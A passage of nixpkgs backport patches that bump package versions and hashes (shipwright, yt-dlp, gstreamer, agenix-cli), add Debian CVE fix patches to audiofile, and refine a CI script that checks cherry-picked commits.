diff --git a/pkgs/by-name/sh/shipwright/package.nix b/pkgs/by-name/sh/shipwright/package.nix
index baf5484ade99..eb34bf74456c 100644
--- a/pkgs/by-name/sh/shipwright/package.nix
+++ b/pkgs/by-name/sh/shipwright/package.nix
@@ -111,13 +111,12 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "shipwright";
-  version = "9.0.2";
-
+  version = "9.0.5";
   src = fetchFromGitHub {
     owner = "harbourmasters";
     repo = "shipwright";
     tag = finalAttrs.version;
-    hash = "sha256-xmRUUMjQt3CFJ0GxlUsUqmp//XTRWik3jSD4auql7Nk=";
+    hash = "sha256-F5d4u3Nq/+yYiOgkH/bwWPhZDxgBpJ5ktee0Hc5UmEo=";
     fetchSubmodules = true;
     deepClone = true;
     postFetch = ''

From ac4dc6c24bc69867af91ab1925dc5f6bdd104773 Mon Sep 17 00:00:00 2001
From: Matteo Pacini <m+github@matteopacini.me>
Date: Wed, 13 Aug 2025 17:41:46 +0100
Subject: [PATCH 3522/4511] shipwright: nixfmt-rfc-style

(cherry picked from commit 714b21048b70c74d53bd0cd84771dec21b0b68bb)

From f0dedca9348e22371753bb673a6a873cb2209f4d Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 13 Aug 2025 14:53:00 +0200
Subject: [PATCH 3523/4511] ci/github-script/commits: allow reason for not
 cherry-picking

This change allows giving a reason via footer of the commit message for
why this commit is not cherry-picked. This avoids having to "explain"
the automated review comment afterwards - instead, this explanation can
be given immediately when writing that commit.

For example, for an update of `xen` on the stable branch, this could be:

```
xen: 4.19.3-unstable-2025-07-09 -> 4.19.3

[... commit message ...]

Not-cherry-picked-because: unstable is on a different minor version
```

This would then be shown as part of the automated review. The severity
of this will be downgraded from "warning" to "important". We still treat
the review as "changes requested", because it would be very complicated
and noisy to handle two different categories of reviews, some with
requested changes and some with comments only.

An alternative would be to not show this review at all. However, given
that the reviewers expectation on backports should already be "if it's
not a clean backport, the automated review will tell me what to look
at", it seems better to show these and have the committer confirm by
dismissing the review. Otherwise we risk merging actually unreviewed
commits.

(cherry picked from commit bf3607aa872cc42996ae4553c00088a64c438c91)
---
 ci/github-script/commits.js | 20 ++++++++++++++++----
 1 file changed, 16 insertions(+), 4 deletions(-)

diff --git a/ci/github-script/commits.js b/ci/github-script/commits.js
index f22034ea788d..f155898a5c7e 100644
--- a/ci/github-script/commits.js
+++ b/ci/github-script/commits.js
@@ -23,13 +23,25 @@ module.exports = async function ({ github, context, core, dry }) {
         pull_number
 
     async function extract({ sha, commit }) {
+      const noCherryPick = Array.from(
+        commit.message.matchAll(/^Not-cherry-picked-because: (.*)$/g)
+      ).at(0)
+
+      if (noCherryPick)
+        return {
+          sha,
+          commit,
+          severity: 'important',
+          message: `${sha} is not a cherry-pick, because: ${noCherryPick[1]}. Please review this commit manually.`,
+        }
+
       // Using the last line with "cherry" + hash, because a chained backport
       // can result in multiple of those lines. Only the last one counts.
-      const match = Array.from(
+      const cherry = Array.from(
         commit.message.matchAll(/cherry.*([0-9a-f]{40})/g),
       ).at(-1)
 
-      if (!match)
+      if (!cherry)
         return {
           sha,
           commit,
@@ -37,7 +49,7 @@ module.exports = async function ({ github, context, core, dry }) {
           message: `Couldn't locate original commit hash in message of ${sha}.`,
         }
 
-      const original_sha = match[1]
+      const original_sha = cherry[1]
 
       let branches
       try {
@@ -222,7 +234,7 @@ module.exports = async function ({ github, context, core, dry }) {
       // Whether this is intended or just an implementation detail is unclear.
       core.summary.addRaw('<blockquote>')
       core.summary.addRaw(
-        `\n\n[!${severity == 'warning' ? 'WARNING' : 'CAUTION'}]`,
+        `\n\n[!${({ important: 'IMPORTANT', warning: 'WARNING', error: 'CAUTION' })[severity]}]`,
         true,
       )
       core.summary.addRaw(`${message}`, true)

From 0d3ebd9fae897cbd47aa83584e588eccf94c2ea0 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 13 Aug 2025 20:46:43 +0200
Subject: [PATCH 3524/4511] ci/github-script/commits: clarify comments

Splits the "occasionally" case into two, depending on whether the commit
has a diff or was not cherry-picked at all. Prepares the next commit,
where these are conditionally shown only.

(cherry picked from commit 2f8ed18c97af8c4c829bb0cdbdec99ee057a758f)
---
 ci/github-script/check-cherry-picks.md | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/ci/github-script/check-cherry-picks.md b/ci/github-script/check-cherry-picks.md
index 1b214b28eaa7..cda9936d6e30 100644
--- a/ci/github-script/check-cherry-picks.md
+++ b/ci/github-script/check-cherry-picks.md
@@ -5,6 +5,11 @@ Some of the commits in this PR require the author's and reviewer's attention.
 Please follow the [backporting guidelines](https://github.com/NixOS/nixpkgs/blob/master/CONTRIBUTING.md#how-to-backport-pull-requests) and cherry-pick with the `-x` flag.
 This requires changes to the unstable `master` and `staging` branches first, before backporting them.
 
-Occasionally, it is not possible to cherry-pick exactly the same patch.
-This most frequently happens when resolving merge conflicts or when updating minor versions of packages which have already advanced to the next major on unstable.
+Occasionally, commits are not cherry-picked at all, for example when updating minor versions of packages which have already advanced to the next major on unstable.
+These commits can optionally be marked with a `Not-cherry-picked-because: <reason>` footer.
+
+Sometimes it is not possible to cherry-pick exactly the same patch.
+This most frequently happens when resolving merge conflicts.
+The range-diff will help to review the resolution of conflicts.
+
 If you need to merge this PR despite the warnings, please [dismiss](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review) this review shortly before merging.

From 654a1c86cdb6d21b95645960ba13f54198e6e50c Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 13 Aug 2025 21:00:42 +0200
Subject: [PATCH 3525/4511] ci/github-script/commits: conditionally show
 comments

This only shows *some* of the additional hints, depending on what the
checks resulted in. Should hopefully reduce confusion a bit.

(cherry picked from commit 91fd9b10aca8eabf0778da1daea9d7ee62fd615e)
---
 ci/github-script/check-cherry-picks.md | 15 -------------
 ci/github-script/commits.js            | 30 ++++++++++++++++++++++----
 2 files changed, 26 insertions(+), 19 deletions(-)
 delete mode 100644 ci/github-script/check-cherry-picks.md

diff --git a/ci/github-script/check-cherry-picks.md b/ci/github-script/check-cherry-picks.md
deleted file mode 100644
index cda9936d6e30..000000000000
--- a/ci/github-script/check-cherry-picks.md
+++ /dev/null
@@ -1,15 +0,0 @@
-This report is automatically generated by the `PR / Check / cherry-pick` CI workflow.
-
-Some of the commits in this PR require the author's and reviewer's attention.
-
-Please follow the [backporting guidelines](https://github.com/NixOS/nixpkgs/blob/master/CONTRIBUTING.md#how-to-backport-pull-requests) and cherry-pick with the `-x` flag.
-This requires changes to the unstable `master` and `staging` branches first, before backporting them.
-
-Occasionally, commits are not cherry-picked at all, for example when updating minor versions of packages which have already advanced to the next major on unstable.
-These commits can optionally be marked with a `Not-cherry-picked-because: <reason>` footer.
-
-Sometimes it is not possible to cherry-pick exactly the same patch.
-This most frequently happens when resolving merge conflicts.
-The range-diff will help to review the resolution of conflicts.
-
-If you need to merge this PR despite the warnings, please [dismiss](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review) this review shortly before merging.
diff --git a/ci/github-script/commits.js b/ci/github-script/commits.js
index f155898a5c7e..82fedd608b06 100644
--- a/ci/github-script/commits.js
+++ b/ci/github-script/commits.js
@@ -33,6 +33,7 @@ module.exports = async function ({ github, context, core, dry }) {
           commit,
           severity: 'important',
           message: `${sha} is not a cherry-pick, because: ${noCherryPick[1]}. Please review this commit manually.`,
+          type: 'no-cherry-pick',
         }
 
       // Using the last line with "cherry" + hash, because a chained backport
@@ -47,6 +48,7 @@ module.exports = async function ({ github, context, core, dry }) {
           commit,
           severity: 'warning',
           message: `Couldn't locate original commit hash in message of ${sha}.`,
+          type: 'no-commit-hash',
         }
 
       const original_sha = cherry[1]
@@ -133,6 +135,7 @@ module.exports = async function ({ github, context, core, dry }) {
         colored_diff,
         severity: 'warning',
         message: `Difference between ${sha} and original ${original_sha} may warrant inspection.`,
+        type: 'diff',
       }
     }
 
@@ -214,10 +217,29 @@ module.exports = async function ({ github, context, core, dry }) {
     if (results.some(({ severity }) => severity == 'error'))
       process.exitCode = 1
 
-    core.summary.addRaw(
-      await readFile(join(__dirname, 'check-cherry-picks.md'), 'utf-8'),
-      true,
-    )
+    core.summary.addRaw('This report is automatically generated by the `PR / Check / cherry-pick` CI workflow.', true)
+    core.summary.addEOL()
+    core.summary.addRaw("Some of the commits in this PR require the author's and reviewer's attention.", true)
+    core.summary.addEOL()
+
+    if (results.some(({ type }) => type === 'no-commit-hash')) {
+      core.summary.addRaw('Please follow the [backporting guidelines](https://github.com/NixOS/nixpkgs/blob/master/CONTRIBUTING.md#how-to-backport-pull-requests) and cherry-pick with the `-x` flag.', true)
+      core.summary.addRaw('This requires changes to the unstable `master` and `staging` branches first, before backporting them.', true)
+      core.summary.addEOL()
+      core.summary.addRaw('Occasionally, commits are not cherry-picked at all, for example when updating minor versions of packages which have already advanced to the next major on unstable.', true)
+      core.summary.addRaw('These commits can optionally be marked with a `Not-cherry-picked-because: <reason>` footer.', true)
+      core.summary.addEOL()
+    }
+
+    if (results.some(({ type }) => type === 'diff')) {
+      core.summary.addRaw('Sometimes it is not possible to cherry-pick exactly the same patch.', true)
+      core.summary.addRaw('This most frequently happens when resolving merge conflicts.', true)
+      core.summary.addRaw('The range-diff will help to review the resolution of conflicts.', true)
+      core.summary.addEOL()
+    }
+
+    core.summary.addRaw('If you need to merge this PR despite the warnings, please [dismiss](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review) this review shortly before merging.', true)
+
     results.forEach(({ severity, message, diff }) => {
       if (severity == 'info') return
 

From e5b6a23dcf4befd710851fb3c4017fe5c16e6624 Mon Sep 17 00:00:00 2001
From: Jost Alemann <jost_alemann@me.com>
Date: Mon, 11 Aug 2025 08:12:58 +0200
Subject: [PATCH 3526/4511] yt-dlp: 2025.07.21 -> 2025.08.11

Changelog: https://github.com/yt-dlp/yt-dlp/releases/tag/2025.08.11
Diff: https://github.com/yt-dlp/yt-dlp/compare/2025.07.21...2025.08.11
(cherry picked from commit d5c8a3b4c0bb3b490fdada2c3bc7894a652e6d2d)
---
 pkgs/by-name/yt/yt-dlp/package.nix | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/yt/yt-dlp/package.nix b/pkgs/by-name/yt/yt-dlp/package.nix
index fac030114823..41b44b21706c 100644
--- a/pkgs/by-name/yt/yt-dlp/package.nix
+++ b/pkgs/by-name/yt/yt-dlp/package.nix
@@ -19,16 +19,21 @@ python3Packages.buildPythonApplication rec {
   # The websites yt-dlp deals with are a very moving target. That means that
   # downloads break constantly. Because of that, updates should always be backported
   # to the latest stable release.
-  version = "2025.07.21";
+  version = "2025.08.11";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "yt-dlp";
     repo = "yt-dlp";
     tag = version;
-    hash = "sha256-VNUkCdrzbOwD+iD9BZUQFJlWXRc0tWJAvLnVKNZNPhQ=";
+    hash = "sha256-j7x844MPPFdXYTJiiMnru3CE79A/6JdfJDdh8it9KsU=";
   };
 
+  postPatch = ''
+    substituteInPlace yt_dlp/version.py \
+      --replace-fail "UPDATE_HINT = None" 'UPDATE_HINT = "Nixpkgs/NixOS likely already contain an updated version.\n       To get it run nix-channel --update or nix flake update in your config directory."'
+  '';
+
   build-system = with python3Packages; [ hatchling ];
 
   nativeBuildInputs = [

From 079dd272c63ee497a9e5a453deeafda9e3330c0a Mon Sep 17 00:00:00 2001
From: Josh Hoffer <jhoffer@sansorgan.es>
Date: Tue, 12 Aug 2025 10:27:16 -0700
Subject: [PATCH 3527/4511] audiofile: add many CVE patches

Patch the following CVEs using debian patches.

* CVE-2018-13440
* CVE-2018-17095
* CVE-2022-24599
* CVE-2019-13147

(cherry picked from commit def9ecde939309ac0e3020a6d1333bb3a6cc1a1a)
---
 pkgs/by-name/au/audiofile/package.nix | 27 ++++++++++++++++++++++++++-
 1 file changed, 26 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/au/audiofile/package.nix b/pkgs/by-name/au/audiofile/package.nix
index de5ce22b017a..04233447d471 100644
--- a/pkgs/by-name/au/audiofile/package.nix
+++ b/pkgs/by-name/au/audiofile/package.nix
@@ -16,7 +16,7 @@ let
     }:
     fetchpatch {
       inherit sha256 name;
-      url = "https://salsa.debian.org/multimedia-team/audiofile/raw/debian/0.3.6-4/debian/patches/${debname}";
+      url = "https://salsa.debian.org/multimedia-team/audiofile/raw/debian/0.3.6-7/debian/patches/${debname}";
     };
 
 in
@@ -97,6 +97,31 @@ stdenv.mkDerivation rec {
       debname = "10_Check-for-division-by-zero-in-BlockCodec-runPull.patch";
       sha256 = "1rlislkjawq98bbcf1dgl741zd508wwsg85r37ca7pfdf6wgl6z7";
     })
+    (fetchDebianPatch {
+      name = "CVE-2018-13440.patch";
+      debname = "11_CVE-2018-13440.patch";
+      sha256 = "sha256-qDfjiBJ4QXgn8588Ra1X0ViH0jBjtFS/+2zEGIUIhuo=";
+    })
+    (fetchDebianPatch {
+      name = "CVE-2018-17095.patch";
+      debname = "12_CVE-2018-17095.patch";
+      sha256 = "sha256-FC89EFZuRLcj5x4wZVqUlitEMTRPSZk+qzQpIoVk9xY=";
+    })
+    (fetchDebianPatch {
+      name = "CVE-2022-24599.patch";
+      debname = "0013-Fix-CVE-2022-24599.patch";
+      sha256 = "sha256-DHJQ4B6cvKfSlXy66ZC5RNaCMDaygj8dWLZZhJnhw1E=";
+    })
+    (fetchDebianPatch {
+      name = "1_CVE-2019-13147.patch";
+      debname = "0014-Partial-fix-of-CVE-2019-13147.patch";
+      sha256 = "sha256-clb/XiIZbmttPr2dT9AZsbQ97W6lwifEwMO4l2ZEh0k=";
+    })
+    (fetchDebianPatch {
+      name = "2_CVE-2019-13147.patch";
+      debname = "0015-Partial-fix-of-CVE-2019-13147.patch";
+      sha256 = "sha256-JOZIw962ae7ynnjJXGO29i8tuU5Dhk67DmB0o5/vSf4=";
+    })
   ];
 
   meta = with lib; {

From 252bfb418954370d6237803683c3a15b63f55fde Mon Sep 17 00:00:00 2001
From: Olivier LDff <olivier.ldff@gmail.com>
Date: Fri, 27 Jun 2025 21:25:14 +0200
Subject: [PATCH 3528/4511] gstreamer: 1.26.0 -> 1.26.3

(cherry picked from commit d1964e1780138fb4dc2032bf7010a271b7bb32a9)
---
 .../libraries/gstreamer/bad/default.nix          | 12 ++----------
 .../libraries/gstreamer/base/default.nix         |  4 ++--
 .../libraries/gstreamer/core/default.nix         |  4 ++--
 .../libraries/gstreamer/devtools/default.nix     | 16 +++-------------
 .../libraries/gstreamer/ges/default.nix          |  4 ++--
 .../libraries/gstreamer/good/default.nix         | 11 ++---------
 .../libraries/gstreamer/libav/default.nix        |  4 ++--
 .../libraries/gstreamer/rtsp-server/default.nix  |  4 ++--
 .../libraries/gstreamer/ugly/default.nix         |  4 ++--
 .../libraries/gstreamer/vaapi/default.nix        |  4 ++--
 10 files changed, 21 insertions(+), 46 deletions(-)

diff --git a/pkgs/development/libraries/gstreamer/bad/default.nix b/pkgs/development/libraries/gstreamer/bad/default.nix
index 52d949c2d2b8..b8aec292be09 100644
--- a/pkgs/development/libraries/gstreamer/bad/default.nix
+++ b/pkgs/development/libraries/gstreamer/bad/default.nix
@@ -113,7 +113,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "gst-plugins-bad";
-  version = "1.26.0";
+  version = "1.26.3";
 
   outputs = [
     "out"
@@ -122,7 +122,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   src = fetchurl {
     url = "https://gstreamer.freedesktop.org/src/gst-plugins-bad/gst-plugins-bad-${finalAttrs.version}.tar.xz";
-    hash = "sha256-+Ch6hMX2Y2ilpQ2l+WmZSgLEfyAiD/4coxVBk+Za8hY=";
+    hash = "sha256-lcSNrK8UJ29OWV9MvKlLPP6/wiKF52XiqlbQpydddWE=";
   };
 
   patches = [
@@ -130,14 +130,6 @@ stdenv.mkDerivation (finalAttrs: {
     (replaceVars ./fix-paths.patch {
       inherit (addDriverRunpath) driverLink;
     })
-
-    # Fix Requires in gstreamer-analytics-1.0.pc
-    # https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/8661
-    (fetchpatch {
-      url = "https://gitlab.freedesktop.org/gstreamer/gstreamer/-/commit/bc93bbf5c87ec994ea136bb40accc09dfa35ae98.patch";
-      stripLen = 2;
-      hash = "sha256-QQDpHe363iPxTuthITRbLUKaAXS2F9s5zfCn/ps14WE=";
-    })
   ];
 
   nativeBuildInputs = [
diff --git a/pkgs/development/libraries/gstreamer/base/default.nix b/pkgs/development/libraries/gstreamer/base/default.nix
index 86e772e239b4..e226443bc0b6 100644
--- a/pkgs/development/libraries/gstreamer/base/default.nix
+++ b/pkgs/development/libraries/gstreamer/base/default.nix
@@ -50,7 +50,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "gst-plugins-base";
-  version = "1.26.0";
+  version = "1.26.3";
 
   outputs = [
     "out"
@@ -61,7 +61,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   src = fetchurl {
     url = "https://gstreamer.freedesktop.org/src/gst-plugins-base/gst-plugins-base-${finalAttrs.version}.tar.xz";
-    hash = "sha256-4jGJ++0uxIZpA4LRBVwZ7q9arj6V4ldvxMiE2WqQ5p4=";
+    hash = "sha256-Tvn57wkCUwjOIg4t0iqJ5MmS2MpxuWjjxwrwY07CeTM=";
   };
 
   strictDeps = true;
diff --git a/pkgs/development/libraries/gstreamer/core/default.nix b/pkgs/development/libraries/gstreamer/core/default.nix
index 3f3778fd7cc0..e7b3829d5146 100644
--- a/pkgs/development/libraries/gstreamer/core/default.nix
+++ b/pkgs/development/libraries/gstreamer/core/default.nix
@@ -40,7 +40,7 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "gstreamer";
-  version = "1.26.0";
+  version = "1.26.3";
 
   outputs = [
     "bin"
@@ -52,7 +52,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   src = fetchurl {
     url = "https://gstreamer.freedesktop.org/src/gstreamer/gstreamer-${finalAttrs.version}.tar.xz";
-    hash = "sha256-Gy7kAoAQwlt3bv+nw5bH4+GGG2C5QX5Bb0kUq83/J58=";
+    hash = "sha256-3GYWAyISk9zMdAhiQl61T7vtYPsp0IyAHUQKaj/4JoA=";
   };
 
   depsBuildBuild = [
diff --git a/pkgs/development/libraries/gstreamer/devtools/default.nix b/pkgs/development/libraries/gstreamer/devtools/default.nix
index 77eceec7cbd0..9bf9ab088f31 100644
--- a/pkgs/development/libraries/gstreamer/devtools/default.nix
+++ b/pkgs/development/libraries/gstreamer/devtools/default.nix
@@ -28,7 +28,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "gst-devtools";
-  version = "1.26.0";
+  version = "1.26.3";
 
   outputs = [
     "out"
@@ -37,25 +37,15 @@ stdenv.mkDerivation (finalAttrs: {
 
   src = fetchurl {
     url = "https://gstreamer.freedesktop.org/src/gst-devtools/gst-devtools-${finalAttrs.version}.tar.xz";
-    hash = "sha256-7/M9fcKSuwdKJ4jqiHtigzmP/e+vpJ+30I7+ZlimVkg=";
+    hash = "sha256-T94Zw8FEg0+MsFwso/FLOlDTlbrSA9F/mKbnDBZy8ro=";
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {
     inherit (finalAttrs) src cargoRoot;
     name = "gst-devtools-${finalAttrs.version}";
-    hash = "sha256-p26jeKRDSPTgQzf4ckhLPSFa8RKsgkjUEXJG8IlPPZo=";
+    hash = "sha256-UHUBmbhm7uvHsYMOs3RYY1rG5uvGqj8ewiu+ByAYKEA=";
   };
 
-  patches = [
-    # Fix Requires in gstreamer-validate-1.0.pc
-    # https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/8661
-    (fetchpatch {
-      url = "https://gitlab.freedesktop.org/gstreamer/gstreamer/-/commit/13c0f44dd546cd058c39f32101a361b3a7746f73.patch";
-      stripLen = 2;
-      hash = "sha256-CpBFTmdn+VO6ZeNe6NZR6ELvakZqQdaF3o3G5TSDuUU=";
-    })
-  ];
-
   depsBuildBuild = [
     pkg-config
   ];
diff --git a/pkgs/development/libraries/gstreamer/ges/default.nix b/pkgs/development/libraries/gstreamer/ges/default.nix
index 2e2a9fdae3fa..0bad6a6fe022 100644
--- a/pkgs/development/libraries/gstreamer/ges/default.nix
+++ b/pkgs/development/libraries/gstreamer/ges/default.nix
@@ -23,7 +23,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "gst-editing-services";
-  version = "1.26.0";
+  version = "1.26.3";
 
   outputs = [
     "out"
@@ -32,7 +32,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   src = fetchurl {
     url = "https://gstreamer.freedesktop.org/src/gst-editing-services/gst-editing-services-${finalAttrs.version}.tar.xz";
-    hash = "sha256-r1sn9ck2MCc3IQDKwLrxkFUoBynfHMWN1ORU72mOsf8=";
+    hash = "sha256-3SCpPSw0aLahAk/wySeIayGTe9E7jLjxdfhjc2DRb9I=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/development/libraries/gstreamer/good/default.nix b/pkgs/development/libraries/gstreamer/good/default.nix
index 29c3bc5e71b0..5e91e4a1b9df 100644
--- a/pkgs/development/libraries/gstreamer/good/default.nix
+++ b/pkgs/development/libraries/gstreamer/good/default.nix
@@ -74,7 +74,7 @@ assert raspiCameraSupport -> hostSupportsRaspiCamera;
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "gst-plugins-good";
-  version = "1.26.0";
+  version = "1.26.3";
 
   outputs = [
     "out"
@@ -83,7 +83,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   src = fetchurl {
     url = "https://gstreamer.freedesktop.org/src/gst-plugins-good/gst-plugins-good-${finalAttrs.version}.tar.xz";
-    hash = "sha256-nhjxOe9prQhnwt+7j+HRc2123xGqyD9g6NOtseLq8Ds=";
+    hash = "sha256-/k7JZw7f5rseXycWmuFFtawt0hismL2CUcj7pBrTPFM=";
   };
 
   patches = [
@@ -91,13 +91,6 @@ stdenv.mkDerivation (finalAttrs: {
     (replaceVars ./souploader.diff {
       nixLibSoup3Path = "${lib.getLib libsoup_3}/lib";
     })
-
-    (fetchpatch {
-      name = "musl.patch";
-      url = "https://gitlab.freedesktop.org/gstreamer/gstreamer/-/commit/dd1fc2b7931f5789815e17dda2ef7c31b9fba563.patch";
-      stripLen = 2;
-      hash = "sha256-m2h1F6M2hzw3HxizmCyEEqkUQe0ccLWFBvgT2f+GjNE=";
-    })
   ];
 
   strictDeps = true;
diff --git a/pkgs/development/libraries/gstreamer/libav/default.nix b/pkgs/development/libraries/gstreamer/libav/default.nix
index c1bb742b616d..21cc1d71efa0 100644
--- a/pkgs/development/libraries/gstreamer/libav/default.nix
+++ b/pkgs/development/libraries/gstreamer/libav/default.nix
@@ -19,7 +19,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "gst-libav";
-  version = "1.26.0";
+  version = "1.26.3";
 
   outputs = [
     "out"
@@ -28,7 +28,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   src = fetchurl {
     url = "https://gstreamer.freedesktop.org/src/gst-libav/gst-libav-${finalAttrs.version}.tar.xz";
-    hash = "sha256-cHqLaH/1/dzuWwJBXi7JtxtKxE0Leuw7R3Nkzuy/Hs8=";
+    hash = "sha256-Otp+UKO5uLo+QFsUxAIeJfuxA3n3fSzkkKoWUj7Sck0=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/development/libraries/gstreamer/rtsp-server/default.nix b/pkgs/development/libraries/gstreamer/rtsp-server/default.nix
index befafdb2329c..ab01ff0315b1 100644
--- a/pkgs/development/libraries/gstreamer/rtsp-server/default.nix
+++ b/pkgs/development/libraries/gstreamer/rtsp-server/default.nix
@@ -19,7 +19,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "gst-rtsp-server";
-  version = "1.26.0";
+  version = "1.26.3";
 
   outputs = [
     "out"
@@ -28,7 +28,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   src = fetchurl {
     url = "https://gstreamer.freedesktop.org/src/gst-rtsp-server/gst-rtsp-server-${finalAttrs.version}.tar.xz";
-    hash = "sha256-6YPAOUluP3XjlpZVTOdNtBIOJGXeF6ocw3FgVo6bQLw=";
+    hash = "sha256-QV6KU6mER4l3DdTxFqwuOkoz3kJnPFeswlxboPRAb8U=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/development/libraries/gstreamer/ugly/default.nix b/pkgs/development/libraries/gstreamer/ugly/default.nix
index 2e86309a51c5..9a3879867d83 100644
--- a/pkgs/development/libraries/gstreamer/ugly/default.nix
+++ b/pkgs/development/libraries/gstreamer/ugly/default.nix
@@ -27,7 +27,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "gst-plugins-ugly";
-  version = "1.26.0";
+  version = "1.26.3";
 
   outputs = [
     "out"
@@ -36,7 +36,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   src = fetchurl {
     url = "https://gstreamer.freedesktop.org/src/gst-plugins-ugly/gst-plugins-ugly-${finalAttrs.version}.tar.xz";
-    hash = "sha256-qGtRyEVKgTEghIyANCHzJ9jAeqvK5GHgWXzEk5jA/N4=";
+    hash = "sha256-QX9e6JX3NKwDQbNxnBdf/xa0yOrogG4p4XCzvLPZ26U=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/development/libraries/gstreamer/vaapi/default.nix b/pkgs/development/libraries/gstreamer/vaapi/default.nix
index 0fd9fb113c29..00978658919b 100644
--- a/pkgs/development/libraries/gstreamer/vaapi/default.nix
+++ b/pkgs/development/libraries/gstreamer/vaapi/default.nix
@@ -30,7 +30,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "gstreamer-vaapi";
-  version = "1.26.0";
+  version = "1.26.3";
 
   outputs = [
     "out"
@@ -39,7 +39,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   src = fetchurl {
     url = "https://gstreamer.freedesktop.org/src/gstreamer-vaapi/gstreamer-vaapi-${finalAttrs.version}.tar.xz";
-    hash = "sha256-Vzkx1FX1qW9j23yNNdUTIrjSh4FujGp32Ez7ufoTUfE=";
+    hash = "sha256-LWQ/vRQgKX2lpNaUXRHwpbT4L+6lTqauyTaNQpldiwM=";
   };
 
   nativeBuildInputs = [

From c696721a56af27190c1d86b75a371ddf55c11eed Mon Sep 17 00:00:00 2001
From: Guy Chronister <guychronister@outlook.com>
Date: Mon, 23 Jun 2025 22:25:15 +0000
Subject: [PATCH 3529/4511] agenix-cli: migrate rev to tag

(cherry picked from commit b3f74569d72d41a016144f3730d3aa107bc6156e)
---
 pkgs/by-name/ag/agenix-cli/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/ag/agenix-cli/package.nix b/pkgs/by-name/ag/agenix-cli/package.nix
index c0bb1d7a11cf..c2aec9192000 100644
--- a/pkgs/by-name/ag/agenix-cli/package.nix
+++ b/pkgs/by-name/ag/agenix-cli/package.nix
@@ -12,7 +12,7 @@ rustPlatform.buildRustPackage rec {
   src = fetchFromGitHub {
     owner = "cole-h";
     repo = "agenix-cli";
-    rev = "v${version}";
+    tag = "v${version}";
     sha256 = "sha256-0+QVY1sDhGF4hAN6m2FdKZgm9V1cuGGjY4aitRBnvKg=";
   };
 

From f0751a59028416c4d1c425ed1a6640223e2931cb Mon Sep 17 00:00:00 2001
From: misuzu <bakalolka@gmail.com>
Date: Sat, 9 Aug 2025 09:57:39 +0300
Subject: [PATCH 3530/4511] agenix-cli: 0.1.0 -> 0.1.2

Diff: https://github.com/cole-h/agenix-cli/compare/v0.1.0...v0.1.2
(cherry picked from commit 6a656da343b5ee5d7a117ca2ad0a1a28c18690c5)
---
 pkgs/by-name/ag/agenix-cli/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ag/agenix-cli/package.nix b/pkgs/by-name/ag/agenix-cli/package.nix
index c2aec9192000..67db75f25402 100644
--- a/pkgs/by-name/ag/agenix-cli/package.nix
+++ b/pkgs/by-name/ag/agenix-cli/package.nix
@@ -7,16 +7,16 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "agenix-cli";
-  version = "0.1.0";
+  version = "0.1.2";
 
   src = fetchFromGitHub {
     owner = "cole-h";
     repo = "agenix-cli";
     tag = "v${version}";
-    sha256 = "sha256-0+QVY1sDhGF4hAN6m2FdKZgm9V1cuGGjY4aitRBnvKg=";
+    sha256 = "sha256-eJp6t8h8uOP0YupYn8x6VAAmUbVrXypxNMGx4SK/6d8=";
   };
 
-  cargoHash = "sha256-xpA9BTA7EK3Pw8EJOjIq1ulBAcX4yNhc4kqhxsoCbv0=";
+  cargoHash = "sha256-2xTkCdWKQVg8Sp0LDkC/LH9GYBXNpxdoLX30Ndz0muM=";
 
   passthru.updateScript = nix-update-script { };
 

From 86a8c89588a524b0d853b826d4984560103500c8 Mon Sep 17 00:00:00 2001
From: misuzu <bakalolka@gmail.com>
Date: Sat, 9 Aug 2025 20:55:09 +0300
Subject: [PATCH 3531/4511] agenix-cli: use finalAttrs pattern instead of rec

(cherry picked from commit 7752e774fe14756d34df9a023bcf7685de66636f)
---
 pkgs/by-name/ag/agenix-cli/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ag/agenix-cli/package.nix b/pkgs/by-name/ag/agenix-cli/package.nix
index 67db75f25402..0de863247c48 100644
